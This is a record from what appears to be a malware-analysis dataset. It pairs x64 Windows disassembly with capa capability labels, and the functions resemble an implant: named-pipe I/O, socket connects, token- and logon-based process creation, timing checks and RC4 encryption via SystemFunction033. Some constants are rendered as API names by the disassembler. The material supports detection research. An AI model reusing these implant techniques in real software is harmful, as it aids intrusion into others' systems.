joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180012680
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x108
mov dword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0xea60
mov dword [rsp + 0x50], eax
mov r8d, dword [rsp + 0x118]
mov rdx, qword [rsp + 0x110]
lea rcx, [rsp + 0x60]
call fcn.180019c54
mov r8d, 0x80
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x60]
call fcn.180019e30
lea rcx, [rsp + 0x60]
call fcn.180019b40
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x60]
call fcn.18000fbe0
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x38], 0
jmp 0x18001270a
mov eax, dword [rsp + 0x38]
inc eax
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0xa
jae 0x180012836
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x80]
call fcn.1800179a8
test eax, eax
je 0x180012807
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov r8d, 4
lea rdx, [rsp + 0x34]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rsp + 0x34]
cmp dword [rsp + 0x30], eax
jae 0x1800127d7
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov eax, ecx
cmp eax, 0x2000
jbe 0x18001277a
mov dword [rsp + 0x3c], 0x2000
jmp 0x18001278a
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov r8d, dword [rsp + 0x3c]
mov rdx, rax
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1800127d0
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x1800127d2
jmp 0x1800127d7
jmp 0x180012753
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180012851
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x35
jne 0x180012816
jmp 0x180012836
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [rsp + 0x50]
jb 0x180012826
jmp 0x180012836
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180012700
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rsp + 0x80]
mov ecx, gethostbyname
call fcn.180010ff8
add rsp, 0x108
ret
Function at 0x180012958
Capabilities:
Create pipe

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x108
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0x70], WSAGetLastError
lea rax, [rsp + 0x58]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0x18
mov dword [rsp + 0x50], 1
mov r9d, 0x100000
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [rsp + 0xac], 0x101
xor eax, eax
mov word [rsp + 0xb0], ax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xc0], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x70]
mov edx, dword [rsp + 0x128]
mov rcx, qword [rsp + 0x120]
call fcn.18001bafc
test eax, eax
jne 0x180012a47
jmp 0x180012a88
mov edx, 0x2710
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rax, [rsp + 0xe0]
lea rcx, [rsp + 0x58]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0xe0]
call fcn.180017fe0
add rsp, 0x108
pop rdi
pop rsi
ret

Function at 0x180012b20
Capabilities:
Connect socket
Resolve dns

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x48
xor r8d, r8d
mov edx, 1
mov ecx, 2
call sub.WS2_32.dll_socket
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0xffffffffffffffff
jne 0x180012b5a
mov rax, 0xffffffffffffffff
jmp 0x180012bf1
mov rcx, qword [rsp + 0x60]
call sub.WS2_32.dll_gethostbyname
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x180012b7a
mov rax, 0xffffffffffffffff
jmp 0x180012bf1
mov rax, qword [rsp + 0x28]
movsx rax, word [rax + 0x12]
mov ecx, 8
imul rcx, rcx, 0
mov rdx, qword [rsp + 0x28]
mov rdx, qword [rdx + 0x18]
lea r8, [rsp + 0x34]
mov rdi, r8
mov rsi, qword [rdx + rcx]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
mov eax, 2
mov word [rsp + 0x30], ax
movzx ecx, word [rsp + 0x68]
call sub.WS2_32.dll_htons
mov word [rsp + 0x32], ax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.WS2_32.dll_connect
test eax, eax
je 0x180012bec
mov rcx, qword [rsp + 0x20]
call sub.WS2_32.dll_closesocket
mov rax, 0xffffffffffffffff
jmp 0x180012bf1
mov rax, qword [rsp + 0x20]
add rsp, 0x48
pop rdi
pop rsi
ret
Function at 0x180012cd4
Capabilities:
Create pipe

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x148
cmp dword [rsp + 0x168], 0x100
jl 0x180012cf8
jmp 0x180012da8
movsxd rax, dword [rsp + 0x168]
lea rcx, [rsp + 0x40]
mov rdi, rcx
mov rsi, qword [rsp + 0x160]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
movsxd rax, dword [rsp + 0x168]
mov byte [rsp + rax + 0x40], 0
mov qword [0x180052358], 0xffffffffffffffff
mov qword [0x180052350], 0xffffffffffffffff
mov qword [0x180052360], 0xffffffffffffffff
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 2
mov r8d, 4
mov edx, 3
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [0x180052350], rax
cmp qword [0x180052350], 0
jne 0x180012d93
jmp 0x180012da8
xor edx, edx
lea rcx, [0x180012e98]
call fcn.180022488
mov qword [0x180052360], rax
add rsp, 0x148
pop rdi
pop rsi
ret

Function at 0x180013624
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
cmp qword [0x180059800], 0
je 0x18001370c
mov rax, qword [rsp + 0x70]
cmp dword [rax + 0x24], 0
jne 0x18001370c
mov rax, qword [rsp + 0x70]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x70]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x20]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rax, qword [rsp + 0x70]
mov r8, qword [rax]
xor edx, edx
mov rcx, qword [0x180059800]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
je 0x1800136bf
mov eax, 1
jmp 0x18001378e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x522
jne 0x1800136e5
cmp qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW], 0
je 0x1800136e5
mov rcx, qword [rsp + 0x70]
call fcn.180013b6c
jmp 0x18001378e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax]
mov ecx, 0x29
call fcn.180010ff8
xor eax, eax
jmp 0x18001378e
mov rax, qword [rsp + 0x70]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x70]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x20]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x180013789
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax]
mov ecx, gethostbyname
call fcn.180010ff8
xor eax, eax
jmp 0x18001378e
mov eax, 1
add rsp, 0x68
ret
Function at 0x1800139fc
Capabilities:
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x20]
and eax, 4
cmp eax, 4
je 0x180013aa9
lea rdx, [rsp + 0x28]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax]
call fcn.18000eec8
test eax, eax
je 0x180013aa9
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
mov qword [rax], rcx
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x20]
or eax, 4
mov rcx, qword [rsp + 0x50]
mov dword [rcx + 0x20], eax
mov rcx, qword [rsp + 0x50]
call fcn.180013624
mov dword [rsp + 0x20], eax
lea rdx, [rsp + 0x28]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax + 0x18]
call fcn.180013794
test eax, eax
jne 0x180013a8e
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x18]
xor edx, edx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
jmp 0x180013ab3
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [rsp + 0x20]
jmp 0x180013ab3
mov rcx, qword [rsp + 0x50]
call fcn.180013624
add rsp, 0x48
ret

Function at 0x180013ab8
Capabilities:
Create process on windows
Create process suspended

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x70]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x70]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x20]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 2
mov r8, qword [0x180059818]
mov rdx, qword [0x180059808]
mov rcx, qword [0x180059810]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
je 0x180013b48
mov eax, 1
jmp 0x180013b65
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax]
mov ecx, 0x45
call fcn.180010ff8
xor eax, eax
add rsp, 0x68
ret
Function at 0x180013b6c
Capabilities:
Create process on windows
Create process suspended
Get common file path

Disassembly:
mov qword [rsp + 8], rcx
push rdi
mov eax, 0x1060
call fcn.1800238a0
sub rsp, rax
lea rax, [rsp + 0x60]
mov rdi, rax
xor eax, eax
mov ecx, 0x800
rep stosb byte [rdi], al
lea rax, [rsp + 0x860]
mov rdi, rax
xor eax, eax
mov ecx, 0x800
rep stosb byte [rdi], al
mov qword [rsp + 0x50], 0
mov rax, qword [rsp + 0x1070]
mov rax, qword [rax + 0x10]
mov qword [rax + 0x10], 0
mov r8d, 0x400
lea rdx, [rsp + 0x60]
mov rax, qword [rsp + 0x1070]
mov rcx, qword [rax]
call fcn.180012a94
test eax, eax
jne 0x180013bfc
mov rax, qword [rsp + 0x1070]
mov edx, dword [rax + 8]
mov ecx, 7
call fcn.180010e8c
xor eax, eax
jmp 0x180013d4f
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov eax, eax
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0x400
jae 0x180013c38
lea rdx, [rsp + 0x860]
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea rax, [rsp + 0x860]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x1070]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x1070]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x1070]
mov eax, dword [rax + 0x20]
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x60]
xor r8d, r8d
mov edx, 2
mov rcx, qword [0x180059800]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
je 0x180013ca9
mov eax, 1
jmp 0x180013d4f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x522
jne 0x180013ce4
cmp qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW], 0
je 0x180013ce4
cmp dword [0x180059828], 1
jne 0x180013ce4
mov r8, qword [rsp + 0x50]
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x1070]
call fcn.180013ab8
jmp 0x180013d4f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x180013d2f
mov rax, qword [rsp + 0x1070]
mov rax, qword [rax + 0x10]
mov eax, dword [rax]
cmp rax, 0x70
jne 0x180013d2f
cmp qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW], 0
je 0x180013d2f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rax, qword [rsp + 0x1070]
mov rdx, qword [rax]
mov ecx, 0x4a
call fcn.180010ff8
xor eax, eax
jmp 0x180013d4f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rax, qword [rsp + 0x1070]
mov rdx, qword [rax]
mov ecx, 0x29
call fcn.180010ff8
xor eax, eax
add rsp, 0x1060
pop rdi
ret
Function at 0x180013d58
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x120
mov qword [rsp + 0x78], 0
mov ecx, 0xa000
call fcn.180019ab4
mov qword [rsp + 0x60], rax
mov edx, 0x4000
mov rcx, qword [rsp + 0x60]
call fcn.180019d08
mov qword [rsp + 0x80], rax
mov edx, 0x400
mov rcx, qword [rsp + 0x60]
call fcn.180019d08
mov qword [rsp + 0x90], rax
mov edx, 0x400
mov rcx, qword [rsp + 0x60]
call fcn.180019d08
mov qword [rsp + 0x98], rax
mov edx, 0x400
mov rcx, qword [rsp + 0x60]
call fcn.180019d08
mov qword [rsp + 0x88], rax
mov edx, 0x400
mov rcx, qword [rsp + 0x60]
call fcn.180019d08
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0xb0], WSAGetLastError
mov rdi, qword [rsp + 0x158]
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [rsp + 0xec], 0x101
xor eax, eax
mov word [rsp + 0xf0], ax
mov qword [rsp + 0x108], 0
mov qword [rsp + 0x110], 0
mov qword [rsp + 0x100], 0
mov qword [rsp + 0xc0], 0
mov r8d, 0x4000
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x148]
call fcn.180012a94
mov r8d, 0x400
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x138]
call fcn.180012a94
mov r8d, 0x400
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x140]
call fcn.180012a94
mov r8d, 0x400
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x130]
call fcn.180012a94
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov eax, eax
mov qword [rsp + 0xa0], rax
cmp qword [rsp + 0xa0], 0x400
jae 0x180013f27
mov rdx, qword [rsp + 0x70]
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x78], rax
mov eax, dword [rsp + 0x150]
or eax, 0x8000400
mov rcx, qword [rsp + 0x158]
mov qword [rsp + 0x50], rcx
lea rcx, [rsp + 0xb0]
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 1
mov r8, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
je 0x180013fac
mov dword [rsp + 0x68], 1
jmp 0x180013fec
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x130]
mov r8, qword [rsp + 0x148]
lea rdx, str.____s_in__s__s:__d
mov ecx, 0x35
call fcn.180010dd8
mov dword [rsp + 0x68], 0
mov rcx, qword [rsp + 0x60]
call fcn.180019c24
mov eax, dword [rsp + 0x68]
add rsp, 0x120
pop rdi
ret
Function at 0x180014454
Capabilities:
Read file on windows

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
cmp qword [0x1800542d8], 0
jne 0x180014492
mov ecx, 0x80004
call fcn.180027894
mov qword [0x1800542d8], rax
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax]
call sub.WS2_32.dll_htonl
mov dword [rsp + 0x24], eax
mov rax, qword [0x1800542d8]
mov ecx, dword [rsp + 0x24]
mov dword [rax], ecx
mov rax, qword [rsp + 0x40]
mov ecx, dword [rsp + 0x50]
cmp dword [rax + 4], ecx
jbe 0x1800144c7
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x20], eax
jmp 0x1800144d3
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 4]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jbe 0x180014558
mov eax, dword [rsp + 0x20]
mov ecx, dword [rsp + 0x28]
mov rdx, qword [0x1800542d8]
lea rcx, [rdx + rcx + 4]
mov rdx, qword [rsp + 0x40]
mov r9, qword [rdx + 8]
mov r8d, eax
mov edx, 1
call fcn.18002b0f4
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0
jne 0x18001451d
mov rax, qword [rsp + 0x40]
mov dword [rax + 4], 0
jmp 0x180014558
mov eax, dword [rsp + 0x24]
mov ecx, dword [rsp + 0x28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x24]
mov ecx, dword [rsp + 0x20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x40]
mov ecx, dword [rsp + 0x24]
mov eax, dword [rax + 4]
sub eax, ecx
mov rcx, qword [rsp + 0x40]
mov dword [rcx + 4], eax
jmp 0x1800144d3
mov eax, dword [rsp + 0x28]
add eax, 4
mov r8d, 8
mov edx, eax
mov rcx, qword [0x1800542d8]
call qword [rsp + 0x48]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call fcn.180014404
add rsp, 0x38
ret

Function at 0x180014588
Capabilities:
Copy file

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov ecx, 0x4000
call fcn.180019ab4
mov qword [rsp + 0x20], rax
mov edx, 0x2000
mov rcx, qword [rsp + 0x20]
call fcn.180019d08
mov qword [rsp + 0x30], rax
mov edx, 0x2000
mov rcx, qword [rsp + 0x20]
call fcn.180019d08
mov qword [rsp + 0x28], rax
mov r8d, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.180019c54
mov r8d, 0x2000
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x38]
call fcn.180019e30
mov r8d, 0x2000
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0x38]
call fcn.180019e30
xor r8d, r8d
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x180014633
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, reloc.WS2_32.dll_listen
call fcn.180010e8c
mov rcx, qword [rsp + 0x20]
call fcn.180019c24
add rsp, 0x58
ret
Function at 0x1800146c0
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov r8d, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x40]
call fcn.180019c54
mov edx, 0x80
lea rcx, [rsp + 0x28]
call fcn.18000fb74
lea rcx, [rsp + 0x40]
call fcn.180019c98
mov dword [rsp + 0x20], eax
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x28]
call fcn.18000fbac
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov r8d, eax
lea rdx, [0x1800523a8]
lea rcx, [rsp + 0x28]
call fcn.18000fbf0
lea rcx, [rsp + 0x28]
call fcn.18000fbe0
mov dword [rsp + 0x24], eax
lea rcx, [rsp + 0x28]
call fcn.18000fd98
mov r8d, reloc.WS2_32.dll_shutdown
mov ecx, dword [rsp + 0x24]
mov edx, ecx
mov rcx, rax
call qword [rsp + 0x80]
lea rcx, [rsp + 0x28]
call fcn.18000fb38
add rsp, 0x68
ret
Function at 0x180014ae4
Capabilities:
Move file

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov ecx, 0x4000
call fcn.180019ab4
mov qword [rsp + 0x20], rax
mov edx, 0x2000
mov rcx, qword [rsp + 0x20]
call fcn.180019d08
mov qword [rsp + 0x30], rax
mov edx, 0x2000
mov rcx, qword [rsp + 0x20]
call fcn.180019d08
mov qword [rsp + 0x28], rax
mov r8d, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.180019c54
mov r8d, 0x2000
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x38]
call fcn.180019e30
mov r8d, 0x2000
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0x38]
call fcn.180019e30
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x180014b8c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, reloc.WS2_32.dll_ntohl
call fcn.180010e8c
mov rcx, qword [rsp + 0x20]
call fcn.180019c24
add rsp, 0x58
ret

Function at 0x180014c10
Capabilities:
Query environment variable

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jne 0x180014c43
xor eax, eax
jmp 0x180014c7f
mov eax, dword [rsp + 0x20]
inc eax
cmp eax, dword [rsp + 0x50]
jb 0x180014c53
xor eax, eax
jmp 0x180014c7f
mov eax, dword [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov rdi, qword [rsp + 0x48]
xor eax, eax
mov rcx, qword [rsp + 0x28]
rep stosb byte [rdi], al
mov r8d, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
add rsp, 0x30
pop rdi
ret

Function at 0x180014c88
Capabilities:
Get file attributes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and eax, 0x10
cmp eax, 0x10
jne 0x180014cae
mov dword [rsp + 0x20], 1
jmp 0x180014cb6
mov dword [rsp + 0x20], 0
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret

Function at 0x180014e08
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov qword [rsp + 0x30], 0
mov rcx, qword [rsp + 0x70]
call fcn.180014e8c
mov dword [rsp + 0x20], 0xf0000040
mov r9d, 1
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
lea r8, [rsp + 0x38]
mov edx, reloc.WS2_32.dll_recv
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.180014f38
mov ecx, dword [rsp + 0x68]
call fcn.180014db0
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.180014f38
add rsp, 0x58
ret
Function at 0x180014f38
Capabilities:
Encrypt data using rc4 via systemfunction033

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
lea rcx, str.advapi32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.SystemFunction033
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x48]
mov qword [0x18005dec8], rax
mov dword [0x18005dec0], 0x10
mov dword [rsp + 0x20], 0
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x10
mov rcx, qword [rsp + 0x40]
mov rcx, qword [rcx + 0x10]
cmp qword [rcx + rax], 0
je 0x180014ff3
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x10
mov rcx, qword [rsp + 0x40]
mov rcx, qword [rcx + 0x10]
mov rax, qword [rcx + rax]
mov qword [0x18005ded8], rax
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x10
mov rcx, qword [rsp + 0x40]
mov rcx, qword [rcx + 0x10]
mov eax, dword [rcx + rax + 8]
mov dword [0x18005ded0], eax
lea rdx, [0x18005dec0]
lea rcx, [0x18005ded0]
call qword [rsp + 0x28]
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
jmp 0x180014f86
add rsp, 0x38
ret